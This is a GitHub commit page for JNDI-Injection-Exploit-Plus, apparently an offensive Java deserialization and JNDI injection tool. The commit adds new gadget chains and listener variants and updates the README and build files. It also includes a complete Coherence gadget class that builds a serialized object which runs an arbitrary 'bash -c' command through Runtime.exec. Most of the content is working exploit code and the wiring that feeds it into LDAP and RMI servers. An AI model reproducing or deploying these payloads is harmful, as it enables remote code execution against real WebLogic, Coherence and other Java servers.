Skip to content

Commit e7ff665

Browse files
cckuailongcckuailong
committed
add more gadgets
1 parent 7823a4a commit e7ff665

26 files changed

+714
-83
lines changed

‎README.md‎

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3333
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3434
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3535

36-
#### 3. Deserailization Gadget (total: 37)
36+
#### 3. Deserailization Gadget (total: 51)
3737

3838
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
3939

@@ -44,6 +44,7 @@ BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
4444
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
4545
Click1 |@artsploit |click-nodeps:2.3.0, javax.servlet-api:3.1.0
4646
Clojure |@JackOfMostTrades |clojure:1.8.0
47+
Coherence :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
4748
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
4849
CommonsBeanutils2 :arrow_up: |@cckuailong |commons-beanutils:1.9.2
4950
CommonsCollections1 |@frohoff |commons-collections:3.1
@@ -62,7 +63,13 @@ Hibernate1 |@mbechler|
6263
Hibernate2 |@mbechler|
6364
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
6465
Jdk7u21 |@frohoff|
65-
JRMPClient |@mbechler|
66+
JRMPClient1 |@mbechler|
67+
JRMPClient2 :arrow_up: |@cckuailong|
68+
JRMPClient3 :arrow_up: |@cckuailong|
69+
JRMPClient4 :arrow_up: |@cckuailong|
70+
JRMPClient5 :arrow_up: |@cckuailong|
71+
JRMPClient6 :arrow_up: |@cckuailong|
72+
JRMPListener1 |@cckuailong|
6673
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
6774
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
6875
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
@@ -79,6 +86,8 @@ URLDNS |@gebl |jre only vuln detect
7986
Vaadin1 |@kai_ullrich |vaadin-server:7.7.14, vaadin-shared:7.7.14
8087
Weblogic1 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
8188
Weblogic2 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
89+
Weblogic3 :arrow_up: |@cckuailong |com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
90+
Weblogic4 :arrow_up: |@cckuailong |weblogic.common.internal.WLObjectOutputStream
8291
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
8392
WildFly1 :arrow_up: |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
8493

@@ -219,6 +228,8 @@ We can select one of the two methods to get the jar.
219228
$ mvn clean package -DskipTests
220229
```
221230

231+
**P.S**. :bangbang: If you get the error like "java.rmi.xxx does not exists", you should set the JAVA_HOME env.
232+
222233
## Disclaimer
223234

224235
All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.

‎libs/coherence.jar‎

12.9 MB
Binary file not shown.

‎libs/com.bea.core.repackaged.apache.commons.logging_1.2.4.jar‎

54.1 KB
Binary file not shown.

‎libs/com.bea.core.repackaged.springframework.spring_1.5.0.0_2-5-3.jar‎

1.76 MB
Binary file not shown.

‎pom.xml‎

Lines changed: 64 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.4-SNAPSHOT</version>
9+
<version>1.5-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -240,6 +240,21 @@
240240
<artifactId>wlfullclient</artifactId>
241241
<version>1.0-SNAPSHOT</version>
242242
</dependency>
243+
<dependency>
244+
<groupId>weblogic</groupId>
245+
<artifactId>spring</artifactId>
246+
<version>1.0-SNAPSHOT</version>
247+
</dependency>
248+
<dependency>
249+
<groupId>weblogic</groupId>
250+
<artifactId>logging</artifactId>
251+
<version>1.0-SNAPSHOT</version>
252+
</dependency>
253+
<dependency>
254+
<groupId>weblogic</groupId>
255+
<artifactId>coherence</artifactId>
256+
<version>12.2.1</version>
257+
</dependency>
243258

244259
<!-- test -->
245260
<dependency>
@@ -314,19 +329,56 @@
314329
<goal>install-file</goal>
315330
</goals>
316331
</execution>
332+
<execution>
333+
<id>install-weblogic3</id>
334+
<phase>clean</phase>
335+
<configuration>
336+
<file>${basedir}/libs/com.bea.core.repackaged.springframework.spring_1.5.0.0_2-5-3.jar</file>
337+
<repositoryLayout>default</repositoryLayout>
338+
<groupId>weblogic</groupId>
339+
<artifactId>spring</artifactId>
340+
<version>1.0-SNAPSHOT</version>
341+
<packaging>jar</packaging>
342+
<generatePom>true</generatePom>
343+
</configuration>
344+
<goals>
345+
<goal>install-file</goal>
346+
</goals>
347+
</execution>
348+
<execution>
349+
<id>install-weblogic3-2</id>
350+
<phase>clean</phase>
351+
<configuration>
352+
<file>${basedir}/libs/com.bea.core.repackaged.apache.commons.logging_1.2.4.jar</file>
353+
<repositoryLayout>default</repositoryLayout>
354+
<groupId>weblogic</groupId>
355+
<artifactId>logging</artifactId>
356+
<version>1.0-SNAPSHOT</version>
357+
<packaging>jar</packaging>
358+
<generatePom>true</generatePom>
359+
</configuration>
360+
<goals>
361+
<goal>install-file</goal>
362+
</goals>
363+
</execution>
364+
<execution>
365+
<id>install-coherence</id>
366+
<phase>clean</phase>
367+
<configuration>
368+
<file>${basedir}/libs/coherence.jar</file>
369+
<repositoryLayout>default</repositoryLayout>
370+
<groupId>weblogic</groupId>
371+
<artifactId>coherence</artifactId>
372+
<version>12.2.1</version>
373+
<packaging>jar</packaging>
374+
<generatePom>true</generatePom>
375+
</configuration>
376+
<goals>
377+
<goal>install-file</goal>
378+
</goals>
379+
</execution>
317380
</executions>
318381
</plugin>
319-
<plugin>
320-
<groupId>org.apache.maven.plugins</groupId>
321-
<artifactId>maven-surefire-plugin</artifactId>
322-
<version>3.0.0-M1</version>
323-
<configuration>
324-
<trimStackTrace>false</trimStackTrace>
325-
<systemPropertyVariables>
326-
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
327-
</systemPropertyVariables>
328-
</configuration>
329-
</plugin>
330382
</plugins>
331383
</build>
332384

‎src/main/java/jndi/CommonDeserial.java‎

Lines changed: 35 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,11 @@
33
import payloads.*;
44

55
import java.net.URL;
6-
import java.util.Base64;
76

87
public class CommonDeserial {
9-
private URL codebase;
108
private String command;
119

12-
public CommonDeserial(URL codebase, String command){
13-
this.codebase = codebase;
10+
public CommonDeserial(String command){
1411
this.command = command;
1512
}
1613

@@ -61,18 +58,17 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
6158
bytes = BeanShell1.getBytes(command);
6259
break;
6360
case "C3P0":
64-
if (codebase != null){
65-
bytes = C3P0.getBytes(codebase);
66-
}else{
67-
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
68-
}
61+
bytes = C3P0.getBytes(command);
6962
break;
7063
case "Click1":
7164
bytes = Click1.getBytes(command);
7265
break;
7366
case "Clojure":
7467
bytes = Clojure.getBytes(command);
7568
break;
69+
case "Coherence":
70+
bytes = Coherence.getBytes(command);
71+
break;
7672
case "FileUpload1":
7773
bytes = FileUpload1.getBytes(command);
7874
break;
@@ -83,11 +79,7 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
8379
bytes = Hibernate1.getBytes(command);
8480
break;
8581
case "Hibernate2":
86-
if (codebase != null){
87-
bytes = Hibernate2.getBytes(codebase);
88-
}else{
89-
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
90-
}
82+
bytes = Hibernate2.getBytes(command);
9183
break;
9284
case "JavassistWeld1":
9385
bytes = JavassistWeld1.getBytes(command);
@@ -111,11 +103,7 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
111103
bytes = Myfaces1.getBytes(command);
112104
break;
113105
case "Myfaces2":
114-
if (codebase != null){
115-
bytes = Myfaces2.getBytes(codebase);
116-
}else{
117-
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
118-
}
106+
bytes = Myfaces2.getBytes(command);
119107
break;
120108
case "ROME1":
121109
bytes = ROME1.getBytes(command);
@@ -130,11 +118,7 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
130118
bytes = Spring2.getBytes(command);
131119
break;
132120
case "Spring3":
133-
if (codebase != null){
134-
bytes = Spring3.getBytes(codebase);
135-
}else{
136-
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
137-
}
121+
bytes = Spring3.getBytes(command);
138122
break;
139123
case "URLDNS":
140124
bytes = URLDNS.getBytes(command);
@@ -146,23 +130,43 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
146130
bytes = Wicket1.getBytes(command);
147131
break;
148132
case "WildFly1":
149-
if (codebase != null){
150-
bytes = WildFly1.getBytes(codebase);
151-
}else{
152-
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
153-
}
133+
bytes = WildFly1.getBytes(command);
154134
break;
155135
case "Weblogic1":
156136
bytes = Weblogic1.getBytes(command);
157137
break;
158138
case "Weblogic2":
159139
bytes = Weblogic2.getBytes(command);
160140
break;
141+
case "Weblogic3":
142+
bytes = Weblogic3.getBytes(command);
143+
break;
144+
case "Weblogic4":
145+
bytes = Weblogic4.getBytes(command);
146+
break;
161147
case "Jdk7u21":
162148
bytes = Jdk7u21.getBytes(command);
163149
break;
164-
case "JRMPClient":
165-
bytes = JRMPClient.getBytes(command);
150+
case "JRMPClient1":
151+
bytes = JRMPClient1.getBytes(command);
152+
break;
153+
case "JRMPClient2":
154+
bytes = JRMPClient2.getBytes(command);
155+
break;
156+
case "JRMPClient3":
157+
bytes = JRMPClient3.getBytes(command);
158+
break;
159+
case "JRMPClient4":
160+
bytes = JRMPClient4.getBytes(command);
161+
break;
162+
case "JRMPClient5":
163+
bytes = JRMPClient5.getBytes(command);
164+
break;
165+
case "JRMPClient6":
166+
bytes = JRMPClient6.getBytes(command);
167+
break;
168+
case "JRMPListener1":
169+
bytes = JRMPListener1.getBytes(command);
166170
break;
167171

168172
default:

‎src/main/java/jndi/LDAPRefServer.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -142,8 +142,8 @@ public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
142142

143143

144144
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
145-
CommonRef commonRef = new CommonRef(this.codebase, this.command);
146-
CommonDeserial commonDeserial = new CommonDeserial(this.codebase, this.command);
145+
CommonRef commonRef = new CommonRef(this.command);
146+
CommonDeserial commonDeserial = new CommonDeserial(this.command);
147147
String cbstring = this.codebase.toString();
148148

149149
if (base.startsWith("remote")) {

‎src/main/java/jndi/RMIRefServer.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -345,7 +345,7 @@ private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws
345345
new UID().write(oos);
346346

347347
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
348-
CommonRef commonRef = new CommonRef(this.classpathUrl, this.command);
348+
CommonRef commonRef = new CommonRef(this.command);
349349

350350
if (reference.equals("BypassByEL")){
351351
System.out.printf("%s [RMISERVER] [%s] >> Sending local classloading reference.\n", getLocalTime(), reference);

‎src/main/java/payloads/C3P0.java‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,8 @@
3333
* Yields:
3434
* - Instantiation of remotely loaded class
3535
*
36+
* Command: http://x.x.x.x:xx:exploit
37+
*
3638
* @author mbechler
3739
*
3840
*/
@@ -80,8 +82,8 @@ public void setLoginTimeout ( int seconds ) throws SQLException {}
8082

8183
}
8284

83-
public static byte[] getBytes ( URL codebase ) throws Exception {
84-
return PayloadRunner.run(C3P0.class, String.format("%s:ExecTemplateJDK8", codebase));
85+
public static byte[] getBytes ( final String command ) throws Exception {
86+
return PayloadRunner.run(C3P0.class, command);
8587
}
8688

8789
public static void main ( final String command ) throws Exception {

‎src/main/java/payloads/Coherence.java‎

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
package payloads;
2+
3+
import com.tangosol.util.ValueExtractor;
4+
import com.tangosol.util.extractor.ChainedExtractor;
5+
import com.tangosol.util.extractor.ReflectionExtractor;
6+
import com.tangosol.util.filter.LimitFilter;
7+
import payloads.annotation.Authors;
8+
import payloads.annotation.Dependencies;
9+
import util.PayloadRunner;
10+
11+
import javax.management.BadAttributeValueExpException;
12+
import java.lang.reflect.Field;
13+
14+
/*
15+
* gadget:
16+
* BadAttributeValueExpException.readObject()
17+
* com.tangosol.util.filter.LimitFilter.toString()
18+
* com.tangosol.util.extractor.ChainedExtractor.extract()
19+
* com.tangosol.util.extractor.ReflectionExtractor.extract()
20+
* Method.invoke()
21+
* ...
22+
* Runtime.getRuntime.exec()
23+
*/
24+
25+
@Dependencies({"coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0"})
26+
@Authors({ Authors.CCKUAILONG })
27+
public class Coherence extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
28+
29+
public BadAttributeValueExpException getObject(final String command) throws Exception {
30+
ValueExtractor[] valueExtractors = new ValueExtractor[]{
31+
new ReflectionExtractor("getMethod", new Object[]{
32+
"getRuntime", new Class[0]
33+
}),
34+
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
35+
new ReflectionExtractor("exec", new Object[]{new String[]{"bash", "-c", command}})
36+
};
37+
//初始化LimitFiler类实例
38+
LimitFilter limitFilter = new LimitFilter();
39+
limitFilter.setTopAnchor(Runtime.class);
40+
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
41+
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
42+
m_comparator.setAccessible(true);
43+
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
44+
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
45+
m_oAnchorTop.setAccessible(true);
46+
m_oAnchorTop.set(limitFilter, Runtime.class);
47+
//将limitFilter放入BadAttributeValueExpException的val属性中
48+
Field val = expException.getClass().getDeclaredField("val");
49+
val.setAccessible(true);
50+
val.set(expException, limitFilter);
51+
52+
return expException;
53+
}
54+
55+
public static byte[] getBytes(final String command) throws Exception {
56+
return PayloadRunner.run(Coherence.class, command);
57+
}
58+
59+
public static void main(final String command) throws Exception {
60+
PayloadRunner.run(Coherence.class, command);
61+
}
62+
63+
}

0 commit comments

Comments
 (0)